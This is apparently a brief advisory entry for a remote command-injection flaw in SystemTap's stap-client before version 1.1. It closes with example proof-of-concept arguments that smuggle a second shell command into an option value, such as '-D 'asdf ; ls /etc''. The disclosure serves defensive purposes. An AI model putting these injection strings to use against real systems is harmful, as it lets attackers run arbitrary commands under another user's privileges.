15 lines
No EOL
542 B
Text
15 lines
No EOL
542 B
Text
source: http://www.securityfocus.com/bid/37842/info
|
|
|
|
SystemTap is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.
|
|
|
|
Remote attackers can exploit this issue to execute arbitrary shell commands with the privileges of the user running the application.
|
|
|
|
Versions prior to SystemTap 1.1 are vulnerable.
|
|
|
|
|
|
The following example commands are available:
|
|
|
|
stap-client \; ...
|
|
stap-client -; ...
|
|
stap-client -D 'asdf ; ls /etc' ...
|
|
stap-client -e 'script' -D 'asdf ; \; ' |